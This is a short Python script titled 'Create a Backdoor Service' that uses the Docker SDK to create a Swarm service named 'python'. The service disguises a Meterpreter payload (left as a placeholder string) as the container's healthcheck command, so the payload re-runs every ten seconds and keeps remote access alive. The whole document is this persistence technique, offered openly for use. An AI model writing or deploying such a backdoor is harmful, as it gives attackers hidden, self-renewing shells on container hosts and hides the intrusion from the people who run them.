Create a Backdoor Service

BackdoorService.py

import docker

client = docker.from_env()

payload = "INSERT PYTHON METERPRETER PAYLOAD HERE"

healthtest = ['CMD', 'python', '-c', payload]

cmd = 'python -c "while True: import time; time.sleep(1)"'

service = client.services.create(
  name = 'python',
  image = 'python',
  command = cmd,
  healthcheck = {
    "test": healthtest,
    "interval": 1000000 * 10 * 1000,        # The time to wait between checks in nanoseconds
    "timeout": 1000000 * 300 * 1000,
    "retries": 3,
    "start_period": 1000000 * 5 * 1000
  }
)